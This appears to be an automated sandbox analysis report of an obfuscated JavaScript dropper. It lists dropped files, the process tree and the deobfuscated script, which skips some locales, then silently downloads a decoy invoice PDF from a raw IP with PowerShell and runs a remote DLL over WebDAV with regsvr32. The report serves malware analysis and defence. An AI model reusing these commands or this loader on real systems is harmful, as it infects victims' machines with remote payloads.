Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18526), with CRLF line terminators
Entropy (8bit):	4.931133526774966
TrID:
File name:	1525641771920916745.js
File size:	22'050 bytes
MD5:	7edb4c4a006e4006aaf9ddab379c15c7
SHA1:	a6d1cdf64e72f51c95b486e61818615a91e3c29f
SHA256:	8b331c0b02948942419d2b8f701a83cd548a742230f6edd61991c687bbad1315
SHA512:	3a1b26a9135f12c6bc4c128cd93d82530d5e170a7a016cc1c2d92cbd31b5fe24b5947847858175a4965c3c28b0b5f3bdcac937049a98b0880f543b3a438bf73a
SSDEEP:	192:Yasyxi+U/9mN1jyguiKJhellqWqdryVPmfx53znliR2sf4FGy8fnoK6pKZQ:tEmNoguiKnelwtx9BFn8ARKZQ
TLSH:	41A284E2C08BC6C64CD961F4094D69C245D982C91EC05CEA2D05D4636B0DEFBE9EBDFA
File Content Preview:	function hbgfipzo(){zinwlmbcu=[1031,3079,5127,4103,2055,3072];var ecota=this[cytzkeubf+ghvrtl+mituc+oevfjjqt+vsclsqlp+htrcmfmbl+oxcudgf+updbldpc](this[btbxbs+owcpjx+abxnpehme+mituc+vbcxoxtk+cytzkeubf+updbldpc][gvplbteeu+mituc+vsclsqlp+ghvrtl+updbldpc+vscl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	21:31:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1525641771920916745.js"
Imagebase:	0x7ff68b0e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:31:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Imagebase:	0x7ff6028f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:31:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:31:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:31:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:31:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6028f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:31:15
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7482e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:31:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:31:16
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:31:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,8441464277296318625,12640484241576862725,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hbgfipzo() {	hbgfipzo() ➔ undefined
1	zinwlmbcu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ecota = this[cytzkeubf + ghvrtl + mituc + oevfjjqt + vsclsqlp + htrcmfmbl + oxcudgf + updbldpc] ( this[btbxbs + owcpjx + abxnpehme + mituc + vbcxoxtk + cytzkeubf + updbldpc][gvplbteeu + mituc + vsclsqlp + ghvrtl + updbldpc + vsclsqlp + mnzrr + cqhusttjh + pafonqzs + vsclsqlp + abxnpehme + updbldpc] ( btbxbs + owcpjx + abxnpehme + mituc + vbcxoxtk + cytzkeubf + updbldpc + nkunv + owcpjx + bzczjb + vsclsqlp + viipkd + viipkd ) [etnqvofx + vsclsqlp + ubthbltqs + etnqvofx + vsclsqlp + ghvrtl + uemripp] ( jvtlrw + ioymlkx + vqcew + rpejzmr + qwzxlpwok + gvplbteeu + lsbxkmwl + etnqvofx + etnqvofx + vqcew + gfydkumxz + lgeqjvsz + qwzxlpwok + lsbxkmwl + owcpjx + vqcew + etnqvofx + gatybhu + gvplbteeu + dsxjv + oxcudgf + updbldpc + mituc + dsxjv + viipkd + mfheyd + frwuwwwvo + ghvrtl + oxcudgf + vsclsqlp + viipkd + gatybhu + htrcmfmbl + oxcudgf + updbldpc + vsclsqlp + mituc + oxcudgf + ghvrtl + updbldpc + vbcxoxtk + dsxjv + oxcudgf + ghvrtl + viipkd + gatybhu + rqojozfl + dsxjv + abxnpehme + ghvrtl + viipkd + vsclsqlp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tamptycx = 0 ; tamptycx < zinwlmbcu[viipkd + vsclsqlp + oxcudgf + ubthbltqs + updbldpc + bzczjb] ; ++ tamptycx )
4	{
5	if ( ecota == zinwlmbcu[tamptycx] )
6	{
7	ecota = true;
8	break ;
9	}
10	}
11	if ( ecota !== true )
12	this[btbxbs + owcpjx + abxnpehme + mituc + vbcxoxtk + cytzkeubf + updbldpc][ronfihi + owqfyttg + vbcxoxtk + updbldpc] ( );
13	this[btbxbs + owcpjx + abxnpehme + mituc + vbcxoxtk + cytzkeubf + updbldpc][gvplbteeu + mituc + vsclsqlp + ghvrtl + updbldpc + vsclsqlp + mnzrr + cqhusttjh + pafonqzs + vsclsqlp + abxnpehme + updbldpc] ( btbxbs + owcpjx + abxnpehme + mituc + vbcxoxtk + cytzkeubf + updbldpc + nkunv + owcpjx + bzczjb + vsclsqlp + viipkd + viipkd ) [mituc + owqfyttg + oxcudgf] ( abxnpehme + zbxzw + uemripp + mfheyd + fvuvttsjy + abxnpehme + mfheyd + cytzkeubf + dsxjv + hwttkalk + vsclsqlp + mituc + oevfjjqt + bzczjb + vsclsqlp + viipkd + viipkd + nkunv + vsclsqlp + coqlvm + vsclsqlp + mfheyd + rchjhzj + gvplbteeu + dsxjv + zbxzw + zbxzw + ghvrtl + oxcudgf + uemripp + mfheyd + unoycbfsf + htrcmfmbl + oxcudgf + tzyfitxni + dsxjv + aajxs + vsclsqlp + rchjhzj + btbxbs + vsclsqlp + cqhusttjh + etnqvofx + vsclsqlp + gehof + owqfyttg + vsclsqlp + oevfjjqt + updbldpc + mfheyd + rchjhzj + mnzrr + owqfyttg + updbldpc + pjijvin + vbcxoxtk + viipkd + vsclsqlp + mfheyd + fazodoi + updbldpc + vsclsqlp + zbxzw + cytzkeubf + fazodoi + gatybhu + vbcxoxtk + oxcudgf + tzyfitxni + dsxjv + vbcxoxtk + abxnpehme + vsclsqlp + nkunv + cytzkeubf + uemripp + xbfcdnlsu + mfheyd + bzczjb + updbldpc + updbldpc + cytzkeubf + gvhwtvx + fvuvttsjy + fvuvttsjy + dacqn + ujfaaja + eifeuyu + nkunv + dacqn + zrohobmdv + eifeuyu + nkunv + dacqn + nkunv + xqmmgbqja + hmpync + typwj + fvuvttsjy + vbcxoxtk + oxcudgf + tzyfitxni + dsxjv + vbcxoxtk + abxnpehme + vsclsqlp + nkunv + cytzkeubf + bzczjb + cytzkeubf + unoycbfsf + adscvufvl + adscvufvl + oevfjjqt + updbldpc + ghvrtl + mituc + updbldpc + mfheyd + fazodoi + updbldpc + vsclsqlp + zbxzw + cytzkeubf + fazodoi + gatybhu + vbcxoxtk + oxcudgf + tzyfitxni + dsxjv + vbcxoxtk + abxnpehme + vsclsqlp + nkunv + cytzkeubf + uemripp + xbfcdnlsu + adscvufvl + adscvufvl + abxnpehme + zbxzw + uemripp + mfheyd + fvuvttsjy + abxnpehme + mfheyd + oxcudgf + vsclsqlp + updbldpc + mfheyd + owqfyttg + oevfjjqt + vsclsqlp + mfheyd + gatybhu + gatybhu + dacqn + ujfaaja + eifeuyu + nkunv + dacqn + zrohobmdv + eifeuyu + nkunv + dacqn + nkunv + xqmmgbqja + hmpync + typwj + pfhmt + hgvmo + hgvmo + hgvmo + hgvmo + gatybhu + uemripp + ghvrtl + tzyfitxni + hwttkalk + hwttkalk + hwttkalk + mituc + dsxjv + dsxjv + updbldpc + gatybhu + adscvufvl + adscvufvl + abxnpehme + zbxzw + uemripp + mfheyd + fvuvttsjy + abxnpehme + mfheyd + mituc + vsclsqlp + ubthbltqs + oevfjjqt + tzyfitxni + mituc + eifeuyu + xqmmgbqja + mfheyd + fvuvttsjy + oevfjjqt + mfheyd + gatybhu + gatybhu + dacqn + ujfaaja + eifeuyu + nkunv + dacqn + zrohobmdv + eifeuyu + nkunv + dacqn + nkunv + xqmmgbqja + hmpync + typwj + pfhmt + hgvmo + hgvmo + hgvmo + hgvmo + gatybhu + uemripp + ghvrtl + tzyfitxni + hwttkalk + hwttkalk + hwttkalk + mituc + dsxjv + dsxjv + updbldpc + gatybhu + xqmmgbqja + hgvmo + zrohobmdv + owmxakhqa + hgvmo + xqmmgbqja + eifeuyu + iaibfn + typwj + iaibfn + dacqn + dacqn + dacqn + iaibfn + typwj + nkunv + uemripp + viipkd + viipkd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll",0,false) ➔ 0
14	}
15	lgeqjvsz = "J";
16	lgeqjvsz = "S";
17	lgeqjvsz = "C";
18	lgeqjvsz = "c";
19	lgeqjvsz = "y";
20	lgeqjvsz = "t";
21	lgeqjvsz = "N";
22	lgeqjvsz = "X";
23	lgeqjvsz = "u";
24	lgeqjvsz = "E";
25	lgeqjvsz = "b";
26	lgeqjvsz = "n";
27	lgeqjvsz = "U";
28	lgeqjvsz = "z";
29	lgeqjvsz = "P";
30	lgeqjvsz = "j";
31	lgeqjvsz = "r";
32	lgeqjvsz = "D";
33	lgeqjvsz = "A";
34	lgeqjvsz = "Y";
35	lgeqjvsz = "l";
36	lgeqjvsz = "x";
37	lgeqjvsz = "k";
38	lgeqjvsz = "L";
39	lgeqjvsz = "i";
40	lgeqjvsz = "B";
41	lgeqjvsz = "u";
42	lgeqjvsz = "T";
43	gvplbteeu = "C";
44	gvplbteeu = "U";
45	gvplbteeu = "K";
46	gvplbteeu = "M";
47	gvplbteeu = "G";
48	gvplbteeu = "R";
49	gvplbteeu = "O";
50	gvplbteeu = "s";
51	gvplbteeu = "B";
52	gvplbteeu = "u";
53	gvplbteeu = "c";
54	gvplbteeu = "R";
55	gvplbteeu = "L";
56	gvplbteeu = "r";
57	gvplbteeu = "u";
58	gvplbteeu = "H";
59	gvplbteeu = "f";
60	gvplbteeu = "C";
61	gvplbteeu = "M";
62	gvplbteeu = "U";
63	gvplbteeu = "B";
64	gvplbteeu = "C";
65	gvplbteeu = "l";
66	gvplbteeu = "K";
67	gvplbteeu = "P";
68	gvplbteeu = "h";
69	gvplbteeu = "R";
70	gvplbteeu = "T";
71	gvplbteeu = "i";
72	gvplbteeu = "C";
73	zbxzw = "h";
74	zbxzw = "O";
75	zbxzw = "s";
76	zbxzw = "T";
77	zbxzw = "S";
78	zbxzw = "e";
79	zbxzw = "J";
80	zbxzw = "w";
81	zbxzw = "t";
82	zbxzw = "Q";
83	zbxzw = "O";
84	zbxzw = "m";
85	gvhwtvx = "K";
86	gvhwtvx = "Z";
87	gvhwtvx = "g";
88	gvhwtvx = "I";
89	gvhwtvx = "U";
90	gvhwtvx = "A";
91	gvhwtvx = "B";
92	gvhwtvx = "I";
93	gvhwtvx = "Q";
94	gvhwtvx = "K";
95	gvhwtvx = "H";
96	gvhwtvx = "s";
97	gvhwtvx = "p";
98	gvhwtvx = "U";
99	gvhwtvx = "x";
100	gvhwtvx = "l";
101	gvhwtvx = "A";
102	gvhwtvx = "C";
103	gvhwtvx = "c";
104	gvhwtvx = "j";
105	gvhwtvx = "M";
106	gvhwtvx = "l";
107	gvhwtvx = "S";
108	gvhwtvx = "A";
109	gvhwtvx = "U";
110	gvhwtvx = "T";
111	gvhwtvx = "i";
112	gvhwtvx = ":";
113	mnzrr = "l";
114	mnzrr = "k";
115	mnzrr = "p";
116	mnzrr = "X";
117	mnzrr = "N";
118	mnzrr = "C";
119	mnzrr = "g";
120	mnzrr = "M";
121	mnzrr = "J";
122	mnzrr = "n";
123	mnzrr = "B";
124	mnzrr = "M";
125	mnzrr = "J";
126	mnzrr = "A";
127	mnzrr = "C";
128	mnzrr = "O";
129	frwuwwwvo = "M";
130	frwuwwwvo = "r";
131	frwuwwwvo = "o";
132	frwuwwwvo = "K";
133	frwuwwwvo = "T";
134	frwuwwwvo = "f";
135	frwuwwwvo = "h";
136	frwuwwwvo = "P";
137	pfhmt = "r";
138	pfhmt = "d";
139	pfhmt = "F";
140	pfhmt = "G";
141	pfhmt = "A";
142	pfhmt = "P";
143	pfhmt = "w";
144	pfhmt = "G";
145	pfhmt = "L";
146	pfhmt = "X";
147	pfhmt = "K";
148	pfhmt = "f";
149	pfhmt = "C";
150	pfhmt = "R";
151	pfhmt = "F";
152	pfhmt = "u";
153	pfhmt = "d";
154	pfhmt = "L";
155	pfhmt = "v";
156	pfhmt = "F";
157	pfhmt = "l";
158	pfhmt = "N";
159	pfhmt = "@";
160	nkunv = "i";
161	nkunv = "S";
162	nkunv = "B";
163	nkunv = "B";
164	nkunv = "O";
165	nkunv = "x";
166	nkunv = "P";
167	nkunv = "r";
168	nkunv = "b";
169	nkunv = "D";
170	nkunv = "E";
171	nkunv = ".";
172	lsbxkmwl = "G";
173	lsbxkmwl = "W";
174	lsbxkmwl = "a";
175	lsbxkmwl = "f";
176	lsbxkmwl = "H";
177	lsbxkmwl = "R";
178	lsbxkmwl = "r";
179	lsbxkmwl = "h";
180	lsbxkmwl = "q";
181	lsbxkmwl = "V";
182	lsbxkmwl = "P";
183	lsbxkmwl = "V";
184	lsbxkmwl = "O";
185	lsbxkmwl = "i";
186	lsbxkmwl = "y";
187	lsbxkmwl = "J";
188	lsbxkmwl = "P";
189	lsbxkmwl = "S";
190	lsbxkmwl = "g";
191	lsbxkmwl = "q";
192	lsbxkmwl = "E";
193	lsbxkmwl = "h";
194	lsbxkmwl = "l";
195	lsbxkmwl = "g";
196	lsbxkmwl = "A";
197	lsbxkmwl = "G";
198	lsbxkmwl = "e";
199	lsbxkmwl = "X";
200	lsbxkmwl = "C";
201	lsbxkmwl = "m";
202	lsbxkmwl = "p";
203	lsbxkmwl = "L";
204	lsbxkmwl = "v";
205	lsbxkmwl = "z";
206	lsbxkmwl = "L";
207	lsbxkmwl = "Y";
208	lsbxkmwl = "b";
209	lsbxkmwl = "G";
210	lsbxkmwl = "c";
211	lsbxkmwl = "w";
212	lsbxkmwl = "v";
213	lsbxkmwl = "i";
214	lsbxkmwl = "U";
215	jvtlrw = "q";
216	jvtlrw = "J";
217	jvtlrw = "w";
218	jvtlrw = "T";
219	jvtlrw = "F";
220	jvtlrw = "M";
221	jvtlrw = "U";
222	jvtlrw = "X";
223	jvtlrw = "Y";
224	jvtlrw = "U";
225	jvtlrw = "w";
226	jvtlrw = "H";
227	jvtlrw = "g";
228	jvtlrw = "H";
229	jvtlrw = "f";
230	jvtlrw = "y";
231	jvtlrw = "g";
232	jvtlrw = "X";
233	jvtlrw = "a";
234	jvtlrw = "e";
235	jvtlrw = "K";
236	jvtlrw = "y";
237	jvtlrw = "e";
238	jvtlrw = "v";
239	jvtlrw = "N";
240	jvtlrw = "u";
241	jvtlrw = "r";
242	jvtlrw = "y";
243	jvtlrw = "T";
244	jvtlrw = "G";
245	jvtlrw = "b";
246	jvtlrw = "j";
247	jvtlrw = "V";
248	jvtlrw = "q";
249	jvtlrw = "W";
250	jvtlrw = "H";
251	updbldpc = "i";
252	updbldpc = "o";
253	updbldpc = "G";
254	updbldpc = "m";
255	updbldpc = "B";
256	updbldpc = "p";
257	updbldpc = "u";
258	updbldpc = "j";
259	updbldpc = "d";
260	updbldpc = "f";
261	updbldpc = "r";
262	updbldpc = "l";
263	updbldpc = "t";
264	coqlvm = "w";
265	coqlvm = "N";
266	coqlvm = "F";
267	coqlvm = "j";
268	coqlvm = "S";
269	coqlvm = "I";
270	coqlvm = "f";
271	coqlvm = "M";
272	coqlvm = "Y";
273	coqlvm = "k";
274	coqlvm = "a";
275	coqlvm = "r";
276	coqlvm = "L";
277	coqlvm = "L";
278	coqlvm = "B";
279	coqlvm = "i";
280	coqlvm = "o";
281	coqlvm = "x";
282	coqlvm = "M";
283	coqlvm = "g";
284	coqlvm = "x";
285	cytzkeubf = "B";
286	cytzkeubf = "L";
287	cytzkeubf = "L";
288	cytzkeubf = "o";
289	cytzkeubf = "j";
290	cytzkeubf = "X";
291	cytzkeubf = "U";
292	cytzkeubf = "B";
293	cytzkeubf = "I";
294	cytzkeubf = "V";
295	cytzkeubf = "k";
296	cytzkeubf = "n";
297	cytzkeubf = "S";
298	cytzkeubf = "Y";
299	cytzkeubf = "N";
300	cytzkeubf = "L";
301	cytzkeubf = "W";
302	cytzkeubf = "p";
303	hmpync = "H";
304	hmpync = "N";
305	hmpync = "P";
306	hmpync = "X";
307	hmpync = "u";
308	hmpync = "Y";
309	hmpync = "b";
310	hmpync = "A";
311	hmpync = "D";
312	hmpync = "K";
313	hmpync = "r";
314	hmpync = "a";
315	hmpync = "w";
316	hmpync = "D";
317	hmpync = "t";
318	hmpync = "X";
319	hmpync = "A";
320	hmpync = "K";
321	hmpync = "h";
322	hmpync = "T";
323	hmpync = "O";
324	hmpync = "y";
325	hmpync = "X";
326	hmpync = "h";
327	hmpync = "z";
328	hmpync = "M";
329	hmpync = "0";
330	ioymlkx = "H";
331	ioymlkx = "l";
332	ioymlkx = "H";
333	ioymlkx = "h";
334	ioymlkx = "E";
335	ioymlkx = "M";
336	ioymlkx = "z";
337	ioymlkx = "r";
338	ioymlkx = "Q";
339	ioymlkx = "Y";
340	ioymlkx = "X";
341	ioymlkx = "a";
342	ioymlkx = "K";
343	ioymlkx = "p";
344	ioymlkx = "F";
345	ioymlkx = "B";
346	ioymlkx = "N";
347	ioymlkx = "N";
348	ioymlkx = "x";
349	ioymlkx = "k";
350	ioymlkx = "E";
351	ioymlkx = "g";
352	ioymlkx = "s";
353	ioymlkx = "P";
354	ioymlkx = "P";
355	ioymlkx = "d";
356	ioymlkx = "z";
357	ioymlkx = "y";
358	ioymlkx = "e";
359	ioymlkx = "w";
360	ioymlkx = "n";
361	ioymlkx = "w";
362	ioymlkx = "I";
363	ioymlkx = "P";
364	ioymlkx = "g";
365	ioymlkx = "F";
366	ioymlkx = "K";
367	dacqn = "F";
368	dacqn = "D";
369	dacqn = "W";
370	dacqn = "s";
371	dacqn = "W";
372	dacqn = "H";
373	dacqn = "S";
374	dacqn = "v";
375	dacqn = "H";
376	dacqn = "F";
377	dacqn = "Z";
378	dacqn = "K";
379	dacqn = "U";
380	dacqn = "F";
381	dacqn = "t";
382	dacqn = "c";
383	dacqn = "k";
384	dacqn = "q";
385	dacqn = "x";
386	dacqn = "G";
387	dacqn = "Y";
388	dacqn = "S";
389	dacqn = "T";
390	dacqn = "T";
391	dacqn = "c";
392	dacqn = "l";
393	dacqn = "e";
394	dacqn = "F";
395	dacqn = "f";
396	dacqn = "a";
397	dacqn = "F";
398	dacqn = "1";
399	vqcew = "s";
400	vqcew = "v";
401	vqcew = "o";
402	vqcew = "P";
403	vqcew = "O";
404	vqcew = "f";
405	vqcew = "M";
406	vqcew = "N";
407	vqcew = "Y";
408	vqcew = "k";
409	vqcew = "Y";
410	vqcew = "B";
411	vqcew = "w";
412	vqcew = "l";
413	vqcew = "y";
414	vqcew = "r";
415	vqcew = "k";
416	vqcew = "e";
417	vqcew = "s";
418	vqcew = "z";
419	vqcew = "m";
420	vqcew = "e";
421	vqcew = "t";
422	vqcew = "a";
423	vqcew = "n";
424	vqcew = "u";
425	vqcew = "U";
426	vqcew = "X";
427	vqcew = "D";
428	vqcew = "A";
429	vqcew = "m";
430	vqcew = "n";
431	vqcew = "G";
432	vqcew = "y";
433	vqcew = "Q";
434	vqcew = "E";
435	xqmmgbqja = "a";
436	xqmmgbqja = "q";
437	xqmmgbqja = "n";
438	xqmmgbqja = "Q";
439	xqmmgbqja = "t";
440	xqmmgbqja = "K";
441	xqmmgbqja = "l";
442	xqmmgbqja = "i";
443	xqmmgbqja = "e";
444	xqmmgbqja = "B";
445	xqmmgbqja = "2";
446	fazodoi = "e";
447	fazodoi = "k";
448	fazodoi = "B";
449	fazodoi = "Y";
450	fazodoi = "y";
451	fazodoi = "E";
452	fazodoi = "S";
453	fazodoi = "Q";
454	fazodoi = "O";
455	fazodoi = "f";
456	fazodoi = "s";
457	fazodoi = "P";
458	fazodoi = "%";
459	btbxbs = "K";
460	btbxbs = "A";
461	btbxbs = "r";
462	btbxbs = "m";
463	btbxbs = "H";
464	btbxbs = "X";
465	btbxbs = "E";
466	btbxbs = "N";
467	btbxbs = "C";
468	btbxbs = "N";
469	btbxbs = "n";
470	btbxbs = "x";
471	btbxbs = "b";
472	btbxbs = "G";
473	btbxbs = "X";
474	btbxbs = "G";
475	btbxbs = "t";
476	btbxbs = "z";
477	btbxbs = "I";
478	btbxbs = "X";
479	btbxbs = "a";
480	btbxbs = "z";
481	btbxbs = "B";
482	btbxbs = "P";
483	btbxbs = "n";
484	btbxbs = "l";
485	btbxbs = "v";
486	btbxbs = "o";
487	btbxbs = "t";
488	btbxbs = "R";
489	btbxbs = "H";
490	btbxbs = "W";
491	hwttkalk = "b";
492	hwttkalk = "w";
493	hwttkalk = "a";
494	hwttkalk = "h";
495	hwttkalk = "A";
496	hwttkalk = "m";
497	hwttkalk = "M";
498	hwttkalk = "i";
499	hwttkalk = "m";
500	hwttkalk = "U";
501	hwttkalk = "a";
502	hwttkalk = "I";
503	hwttkalk = "C";
504	hwttkalk = "D";
505	hwttkalk = "M";
506	hwttkalk = "E";
